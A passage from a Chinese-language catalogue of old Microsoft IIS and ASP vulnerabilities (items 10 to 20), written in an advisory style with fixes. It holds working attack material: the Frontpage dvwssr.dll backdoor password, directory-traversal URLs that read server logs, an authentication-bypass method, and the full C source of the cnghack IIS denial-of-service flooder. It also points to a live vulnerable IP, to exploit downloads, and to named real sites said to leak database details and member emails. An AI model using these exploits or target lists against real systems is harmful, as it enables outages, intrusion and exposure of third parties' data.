|
10、微軟開發(fā)的兩個動態(tài)庫存在后門允許用戶查看ASP文件源程序和下載整個網(wǎng)站 問題描述: 隨IIS和Frontpage Extention server而來的動態(tài)庫程序,存在后門,允許用戶遠(yuǎn)程讀取asp、asa和CGI程序的源代碼。但這個動態(tài)庫要求有密碼,這個后門的密碼是: "Netscape engineers are weenies!" 程序路徑為: /_vti_bin/_vti_aut/dvwssr.dll 一般安裝了 Frontpage98的 IIS服務(wù)器都有這個路徑和文件。這個程序要求解碼后才能發(fā)揮讀取asp等源程序,有趣的是,這個密碼正是嘲弄其競爭對手Netscape的。 現(xiàn)提供一個有該漏洞的國外網(wǎng)站給安全技術(shù)人員參考: http://62.236.90.195 關(guān)于讀取源程序,請下載這個測試程序,用法為: [john@Linux john]$ ./dvwssr1.pl 62.236.90.195 /cqsdoc/showcode.asp 測試程序: http://www.cnns.net/exploits/nt/dvwssr1.pl
11、漏洞名稱:IIS4.0受HTTP的D.O.S攻擊漏洞 問題描述: 受影響的版本:IIS 4.0以及更早的版本 這是一個很簡單的方法.發(fā)送很多的"Host:aaaaa...aa"到IIS: GET / HTTP/1.1 Host: aaaaaaaaaaaaaaaaaaaaaaa....(200 bytes) Host: aaaaaaaaaaaaaaaaaaaaaaa....(200 bytes) ...10,000 lines Host: aaaaaaaaaaaaaaaaaaaaaaa....(200 bytes)
發(fā)送了象上面所寫的兩次請求后,對方的IIS在接受了這些請求后就會導(dǎo)致內(nèi)存溢出.當(dāng)然,它就不能對更多的請求作出反應(yīng)。因?yàn)閷Ψ秸狈μ摂M內(nèi)存,服務(wù)器也將停止運(yùn)行。事后,對方不能通過重起web service來解決問題,而必須重啟服務(wù)器。
12 漏洞名稱:IIS5.0超長URL拒絕服務(wù)漏洞 問題描述: Microsoft IIS 5.0在處理以".ida"為擴(kuò)展名的URL請求時,它會有兩種結(jié)果。一個可能的結(jié)果是服務(wù)器回復(fù)"URL String too long"的信息;或類似"Cannot find the specified path" 的信息。另一種可能就是服務(wù)器端服務(wù)停止,并返回"Access Violation"信息(即成功的實(shí)現(xiàn)了對服務(wù)器端的拒絕服務(wù)攻擊) 當(dāng)遠(yuǎn)端攻擊者發(fā)出類似如下的請求時: http://someurl/...[25kb of '.']...ida 服務(wù)器端會崩潰(導(dǎo)致拒絕服務(wù)攻擊)或返回該文件不在當(dāng)前路徑的信息(暴露文件物理地址) 問題解決或者建議: 大多數(shù)情況下,站點(diǎn)很少使用擴(kuò)展名為".ida"和".idq"的文件,可在ISAPI腳本映射中,將擴(kuò)展名為".ida"和".idq"的應(yīng)用程序映射刪除。
13請求不存在的擴(kuò)展名為idq或ida 文件,會暴露服務(wù)器上得物理地址. 問題描述: 通過請求一個不存在的擴(kuò)展名為idq或ida得文件,IIS會暴露文件在服務(wù)器上得物理地址.這樣會給攻擊者提供了不必要的信息,而且,這對攻擊一個Web站點(diǎn)來說,是很有價值的第一步。 測試程序: 通過請求如: http://someurl/anything.ida http://someurl/lunwen/anything.ida 或: http://someurl/anything.idq 一個遠(yuǎn)端用戶可以收到類似:'The IDQ d:\http\anything.idq could not be found'的響應(yīng)。 這樣的一個響應(yīng)就會讓攻擊者獲得了Web站點(diǎn)的物理路徑,并且還可以獲得更多的有關(guān)該站點(diǎn)在服務(wù)器上的組織與結(jié)構(gòu)。
14、NT Index Server存在返回上級目錄的漏洞 問題描述 受影響的版本:Microsoft Index Server2.0 [WinNT4.0,WinNT 2000.0] Index Sserver2.0是WinNT4.0 Option Pack中附帶的一個軟件的工具,其中的功能已經(jīng)被WinNT 2000中的Indexing Services所包含。當(dāng)與IIS結(jié)合使用時,Index Server和Indexing Services便可以在最初的環(huán)境來瀏覽Web Search的結(jié)果,它將生成一個HTML文件,其中包含了查找后所返回頁面內(nèi)容的簡短引用,并將其連接至所返回的頁面[即符合查詢內(nèi)容的頁面],也就是超級連接。要做到這一點(diǎn),它便需要支持由webhits.dll ISAPI程序處理的.htw文件類型。這個dll允許在一個模版中使用"../"用做返回上級目錄的字符串.這樣,了解服務(wù)器文件結(jié)構(gòu)的攻擊者便可以遠(yuǎn)程的閱讀該機(jī)器上的任意文件了。 漏洞的利用: 1)您的系統(tǒng)中存在.htw文件 Index Server提供的這種超級連接允許Web用戶獲得一個關(guān)于他搜尋結(jié)果的返回頁,這個頁面的名字是與CiWebHitsFile變量一起通過.htw文件的,webhits.dll這個ISAPI程序?qū)⑻幚磉@個請求,對其進(jìn)行超級連接并返回該頁面。因此用戶便可以控制通過.htw文件的CiWebHits變量,請求到任何所希望獲得的信息。另外存在的一個問題便是ASP或其他腳本文件的源代碼也可以利用該方法來獲得。 上面我們說過webhits.dll后接上"../"便可以訪問到Web虛擬目錄外的文件,下面我們來看個例子: http://somerul/iissamples/issamples/oop/qfullhit.dll?CiWebHitsFile=/../../winnt/system32/logfiles/w3svc1/ex000121.log&CiRestriction=none&CiHiliteType=Full 在瀏覽器中輸入該地址,便可以獲得該服務(wù)器上給定日期的Web日志文件. 在系統(tǒng)常見的.htw樣本文件有: /iissamples/issamples/oop/qfullhit.htw /iissamples/issamples/oop/qsumrhit.htw /iissamples/exair/search/qfullhit.htw /iissamples/exair/search/qsumrhit.hw /iishelp/iis/misc/iirturnh.htw [這個文件通常受loopback限制] 2)您的系統(tǒng)中不存在.htw文件 調(diào)用一個webhits.dll ISAPI程序需要通過.htw文件來完成,如果您的系統(tǒng)中不存在.htw文件,雖然請求一個不存在的.htw文件將失敗,但是您的仍然存在可被利用的漏洞。其中的竅門便是利用inetinfo.exe來調(diào)用webhits.dll,這樣同樣能訪問到Web虛擬目錄外的文件。但我們需要通過制作一個的特殊的URL來完成該漏洞的利用。首先我們需要一個有效的文件資源,這個文件必須是一個靜態(tài)的文件,如".htm",".html",".txt"或者".gif",".jpg"。這些文件將用作模版來被webhits.dll打開。現(xiàn)在我們需要獲得inetinfo.exe來利用webhits.dll,唯一可以做到這點(diǎn)的便是請求一個.htw文件: http://url/default.htm.htw?CiWebHitsFile=/../../winnt/system32/logfiles/w3svc1/ex000121.log&CiRestriction=none&CiHiliteType=Full 很明顯,這個請求肯定會失敗,因?yàn)橄到y(tǒng)上不存在這個文件。但請注意,我們現(xiàn)在已經(jīng)調(diào)用到了webhits.dll,我們只要在一個存在的文件資源后面[也就是在.htw前面]加上一串特殊的數(shù)字( %20s ),[就是在例子中default.htm后面加上這個代表空格的特殊數(shù)字],這樣我們便可以欺騙過web服務(wù)器從而達(dá)到我們的目的.由于在緩沖部分中.htw文件名字部分被刪除掉[由于%20s這個符號],所以,當(dāng)請求傳送到webhits.dll的時候,便可以成功的打開該文件,并返回給客戶端,而且過程中并不要求系統(tǒng)中真的存在.htw文件。 問題解決和建議: 微軟已經(jīng)對該問題發(fā)放了補(bǔ)丁: Index Server 2.0: Intel: http://www.microsoft.com/downloads/release.asp?ReleaseID=17727 Alpha: http://www.microsoft.com/downloads/release.asp?ReleaseID=17728 Windows 2000 Indexing Services: Intel: http://www.microsoft.com/downloads/release.asp?ReleaseID=17726
15 繞過驗(yàn)證直接進(jìn)入ASP頁面。 漏洞描述: 如果用戶知道了一個ASP頁面的路徑和文件名,而這個文件又是要經(jīng)過驗(yàn)證才能進(jìn)去的,但是用戶直接輸入這個ASP頁面的文件名,就有可能通過繞過驗(yàn)證.比如:我在一些網(wǎng)站上這樣試過:首先關(guān)閉所有的瀏覽器,窗口,輸入: http://someurl/system_search.asp?page=1 就樣就看到了只能系統(tǒng)員才能看到的頁面。當(dāng)然有些人為了防止這種情況也會在system_search.asp的開頭加個判斷,比如:判斷session(“system_name”),如果不為空時就能進(jìn)入,這樣上面的url請求就不能直接進(jìn)入管理員頁面了。但是這種方法也有一個漏洞,如果攻擊者先用一個合法的帳號,或者在本機(jī)上生成一個session,如session(“system_name”)=”admi”,那因?yàn)閟ession(“system_name”)不為空,這樣也能直接進(jìn)入繞過密碼,直接進(jìn)入管理員頁面。
解決方法: 在需要驗(yàn)證的ASP頁面開頭處進(jìn)行相應(yīng)的處理。比如:可跟蹤上一個頁面的文件名,只有從上一頁面轉(zhuǎn)進(jìn)來的會話才能讀取這個頁面。
16、IIS4.0/5.0特殊數(shù)據(jù)格式的URL請求遠(yuǎn)程DOS攻擊 漏 洞 描 述: 當(dāng)在安裝有有IIS4.0或者IIS5.0的web服務(wù)上,請求一個具有特殊數(shù)據(jù)格式的URL,會拖慢受攻擊web 服務(wù)器的響應(yīng)速度,或許會使其暫時停止響應(yīng)。
受影響的版本 Microsoft Internet Information Server 4.0 Microsoft Internet Information Server 5.0 漏洞測試程序如下: http://202.96.168.51/download/exploits/iisdos.exe 源代碼如下: http://202.96.168.51/download/exploits/iisdos.zip 測試程序: 只要打入:iisdos <***.***.**.**> 就能攻擊對方web 服務(wù)器
問題解決: Internet Information Server 4.0: http://www.microsoft.com/Downloads/Release.asp?ReleaseID=20906 Internet Information Server 5.0: http://www.microsoft.com/Downloads/Release.asp?ReleaseID=20904 更多的信息: http://www.microsoft.com/technet/security/bulletin/ms00-030.asp Microsoft 安全公告MS00-021: http://www.microsoft.com/technet/security/bulletin/fq00-030.asp 相關(guān)連接 http://www.ussrback.com
17 IIS web server DOS 漏洞描述: 默認(rèn)情況下,IIS容易被拒絕服務(wù)攻擊。如果注冊表中有一個叫 "MaxClientRequestBuffer" 的鍵未被創(chuàng)建,針對這種NT系統(tǒng)的攻擊通常能奏效。 "MaxClientRequestBuffer" 這個鍵用于設(shè)置IIS允許接受的輸入量。如果 "MaxClientRequestBuffer" 設(shè)置為256(bytes),則攻擊者通過輸入大量的字符請求IIS將被限制在256字節(jié)以內(nèi)。而系統(tǒng)的缺省設(shè)置對此不加限制,因此,利用下面的程序?梢院苋菀椎貙IS server實(shí)行DOS攻擊:
#include <stdio.h> #include <windows.h> #define MAX_THREAD 666 void cng(); char *server; char *buffer; int port; int counter = 0; int current_threads = 0; int main(int argc, char **argv) { WORD tequila; WSADATA data; int p; DWORD tid; HANDLE hThread[2000]; //This code is as is and sucks as it is. Won't exit correctly and a lot of other fun things. //That I didn't want to take the time to do. So just ctrl+c out of the code. //Load up cnghack.exe 3 times for charm. printf("CNG IIS DoS.\nMarc@eEye.com\nhttp://www.eeye.com\n\"For my beloved.\"\n"); if(argc<2){ printf("Usage: %s [server] [port]\n",argv[0]); exit(1); } buffer=malloc(17500); memset( buffer, 'A', strlen(buffer)); server=argv[1]; port=atoi(argv[2]); tequila = MAKEWORD( 1, 1 ); printf("Attempting to start winsock... "); if( (WSAStartup(tequila, &data)) !=0 ){ printf("failed to start winsock.\n"); exit(1); } else{ printf("started winsock.\n\n"); }
counter = 0; for(p = 0 ; p < MAX_THREAD ; ++p ){ hThread[counter] = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) cng, ( void * )++counter, 0, &tid); } Sleep(250); while( current_threads ) Sleep(250); counter = 0; printf("Terminated Threads.\n"); while (counter < MAX_THREAD) { TerminateThread( hThread[counter], 0 ); ++counter; } WSACleanup(); return 0; }
void cng() { int SockFD=0, p; struct sockaddr_in DstSAin; char GETKILLED[]="GET / HTTP/\r\n"; int die=1; printf("Entered CNG\n"); ++current_threads; DstSAin.sin_family = AF_INET; DstSAin.sin_port = htons((u_short)port); DstSAin.sin_addr.s_addr=inet_addr( server ); if((SockFD = socket(AF_INET, SOCK_STREAM, 0)) < 0){ printf("Failed to create socket\n"); --current_threads; return; } if(!connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin))) { p=send(SockFD,GETKILLED,strlen(GETKILLED),0); printf("Step 1: %i\n", p); for(;;){ p=send(SockFD,buffer,strlen(buffer),0); printf("P: %i\n", p); //put in some code to check if send = -1 more then X times we drop the loop and exit the thread //bla bla bla i love the dirtiness of concept code. } } --current_threads; printf("Exited CNG\n"); return; }
cnghack.c works by doing the following: Connects to example.com Sends: GET / HTTP/[return][buffer]
Where: [return] is just an \r\n [buffer] is a never ending stream of A's
攻擊結(jié)果將導(dǎo)致NT系統(tǒng)的CPU占用率達(dá)到 100%
解決方案 運(yùn)行Regedt32.exe 在: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\w3svc\parameters 增加一個值: Value Name: MaxClientRequestBuffer Data Type: REG_DWORD 設(shè)置為十進(jìn)制 具體數(shù)值設(shè)置為你想設(shè)定的IIS允許接受的URL最大長度。 CNNS的設(shè)置為256
18、MS ODBC數(shù)據(jù)庫連接溢出導(dǎo)致NT/9x拒絕服務(wù)攻擊 漏 洞 描 述: Microsoft ODBC數(shù)據(jù)庫在連接和斷開時可能存在潛在的溢出問題(Microsoft ACCESS數(shù)據(jù)庫相關(guān))。 如果不取消連接而直接和第二個數(shù)據(jù)庫相連接,可能導(dǎo)致服務(wù)停止。
影響系統(tǒng): ODBC 版本: 3.510.3711.0 ODBC Access驅(qū)動版本: 3.51.1029.00 OS 版本: Windows NT 4.0 Service Pack 5, IIS 4.0 (i386) Microsoft Office 97 Professional (MSO97.dll: 8.0.0.3507)
漏洞檢測方法如下: ODBC 連接源名稱: miscdb ODBC 數(shù)據(jù)庫型號: MS Access ODBC 假設(shè)路徑: d:\data\misc.mdb
ASP代碼如下:
<% set connVB = server.createobject("ADODB.Connection") connVB.open "DRIVER={Microsoft Access Driver (*.mdb)}; DSN=miscdb"
%>
<html> <body> ...lots of html removed... <!-- We Connect to DB1 --> <% set connGlobal = server.createobject("ADODB.Connection") connGlobal.Open "DSN=miscdb;User=sa" mSQL = "arb SQL Statement" set rsGlobal = connGlobal.execute(mSQL) While not rsGlobal.eof Response.Write rsGlobal("resultfrommiscdb") rsGlobal.movenext wend 'rsGlobal.close 'set rsGlobal = nothing 'connGlobal.close 'set connGlobal = nothing ' Note we do NOT close the connection %>
<!-- Call the same database by means of DBQ direct file access --> <% set connGlobal = server.createobject("ADODB.Connection") connGlobal.Open "DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=d:\data\misc.mdb" mSQL = "arb SQL Statement" set rsGlobal = connGlobal.execute(mSQL)
While not rsGlobal.eof Response.Write rsGlobal("resultfrommiscdb") rsGlobal.movenext wend rsGlobal.close set rsGlobal = nothing connGlobal.close set connGlobal = nothing ' Note we DO close the connection %>
在這種情況下,IIS處理進(jìn)程將會停頓,CPU使用率由于inetinfo.exe進(jìn)程將達(dá)到100%。只有重新啟動計(jì)算機(jī)才能恢復(fù)。
19、ASP主頁.inc文件泄露問題 漏洞描述: 受影響的版本:任何提供ASP服務(wù)的系統(tǒng) 遠(yuǎn)程:YES / 本地:YES 內(nèi)容摘要: 當(dāng)存在asp的主頁正在制作并沒有進(jìn)行最后調(diào)試完成以前,可以被某些搜索引擎機(jī)動追加為搜索對象,如果這時候有人利用搜索引擎對這些網(wǎng)頁進(jìn)行查找,會得到有關(guān)文件的定位,并能在瀏覽器中察看到數(shù)據(jù)庫地點(diǎn)和結(jié)構(gòu)的細(xì)節(jié)揭示完整的源代碼。 具體操作過程是: - 利用搜索引擎查找包含+"Microsoft VBScript 運(yùn)行時刻錯誤執(zhí)行搜索" +".inc ," 的關(guān)鍵字 - 搜索引擎會自動查找包含asp的包含文件(.inc)并顯示給用戶 - 利用瀏覽器觀看包含文件的源代碼,其中可能會有某些敏感信息
漏洞的利用: 例子: - http://shopping.altavista.com/inc/lib/prep.lib 暴露數(shù)據(jù)庫連接和性質(zhì), 資源地點(diǎn), 小甜餅邏輯,服務(wù)器 IP 地址 - http://www.justshop.com/SFLib/ship.inc 暴露數(shù)據(jù)庫性質(zhì) - http://www.bbclub.com:8013/includes/general.inc 暴露 cobranding - http://www.salest.com/corporate/admin/include/jobs.inc 暴露 datafile 地點(diǎn)和結(jié)構(gòu) - http://www.bjsbabes.com/SFLib/design.inc 包括數(shù)據(jù)庫結(jié)構(gòu)為 StoreFront 2000 暴露源代碼 - http://www.ffg.com/scripts/IsSearchEngine.inc 暴露搜索引擎記錄文件 - http://www.wcastl.com/include/functions.inc 暴露成員電子郵件地址 - http://www.wcastl.com/flat/comments.txt 暴露成員私人的注釋文件 - http://www.traveler.net/two/cookies.inc 暴露 cookie 邏輯
解決方案: - 搜索引擎應(yīng)該不索引有 asp 運(yùn)行時刻錯誤的頁 - 程序員應(yīng)該在網(wǎng)頁發(fā)布前對其進(jìn)行徹底的調(diào)試 - 安全專家需要固定 asp 包含文件以便外部的用戶不能看他們 asp 新聞組、站點(diǎn)提供兩個解決方案對這個漏洞進(jìn)行修正,首先對 .inc 文件內(nèi)容進(jìn)行加密,其次也可以使用 .asp 文件代替 .inc 文件使用戶無法從瀏覽器直接觀看文件的源代碼。.inc 文件的文件名不用使用系統(tǒng)默認(rèn)的或者有特殊含義容易被用戶猜測到的,盡量使用無規(guī)則的英文字母。
20、利用Activer server explorer可對文件進(jìn)行讀寫訪問 漏洞描述: chinaasp的Activer server explorer可以很方便的對本地文件在線查看服務(wù)器上的目錄 在線查看文件的名稱、大小、類型、修改時間,在線編輯純文本文件,如.txt、.htm、.asp、.pl、.cgi等等,直接執(zhí)行服務(wù)器上的文件。 Activer server explorer要求填寫相對路徑或者絕對路徑,但是假如:有一個攻擊者把Activer server explorer上傳到目標(biāo)服務(wù)器上的某個目錄,并且這個目錄支持ASP的話,那么他就可以通過Activer server explorer修改、執(zhí)行目標(biāo)服務(wù)器上的文件。這種情況可以發(fā)生在一個攻擊者擁有目標(biāo)NT服務(wù)器上的一個可寫目錄帳號,并且這個目錄又支持ASP。比如一些支持ASP的個人免費(fèi)主頁服務(wù)器,把Activer server explorer先傳上你申請的免費(fèi)主頁空間,再通過各種方法得到目標(biāo)服務(wù)器的路徑,(比如可通過漏洞:“請求不存在的擴(kuò)展名為idq或ida 文件,會暴露文件在服務(wù)器上的物理地址.”).或者直接在相對路徑上填”.”,一般是默認(rèn)。這樣攻擊者就能任意修改,執(zhí)行目標(biāo)服務(wù)器上的文件,不管他對這個文件有無讀寫訪問權(quán)。
所以那些提供有ASP服務(wù)的個人主頁或者其它服務(wù)的服務(wù)器,就要加倍小心這種攻擊了。 漏洞解決方法 其實(shí)Activer server explorer就是利用了上面講的漏洞 4 filesystemobject 組件篡改下載 fat 分區(qū)上的任何文件的漏洞。 那么我們?nèi)绾尾拍芟拗朴脩羰褂肍ileSystemObject對象呢?一種極端的做法是完全反注冊掉提供FileSystemObject對象的那個組件,也就是Scrrun.dll。具體的方法如下:
在MS-DOS狀態(tài)下面鍵入:
Regsvr32 /u c:\windows\system\scrrun.dll
(注意:在實(shí)際操作的時候要更改成為你本地的實(shí)際路徑)
但是這樣的話,就不能使用FileSystemObject對象了,有時利用FileSystemObject對象來管理文件是很方便,有什么辦法能兩全其美呢?
我們可以做到禁止他人非法使用FileSystemObject對象,但是我們自己仍然可以使用這個對象. 方法如下: 查找注冊表中
HKEY_CLASSES_ROOT\Scripting.FileSystemObject 鍵值
將其更改成為你想要的字符串(右鍵-->"重命名"),比如更改成為
HKEY_CLASSES_ROOT\Scripting.FileSystemObject2
這樣,在ASP就必須這樣引用這個對象了:
Set fso = CreateObject("Scripting.FileSystemObject2")
而不能使用:
Set fso = CreateObject("Scripting.FileSystemObject")
如果你使用通常的方法來調(diào)用FileSystemObject對象就會無法使用了。
只要你不告訴別人這個更改過的對象名稱,其他人是無法使用FileSystemObject對象的。這樣,作為站點(diǎn)管理者我們就杜絕了他人非法使用FileSystemObject對象,而我們自己仍然可以使用這個對象來方便的實(shí)現(xiàn)網(wǎng)站在線管理等等功能了!
|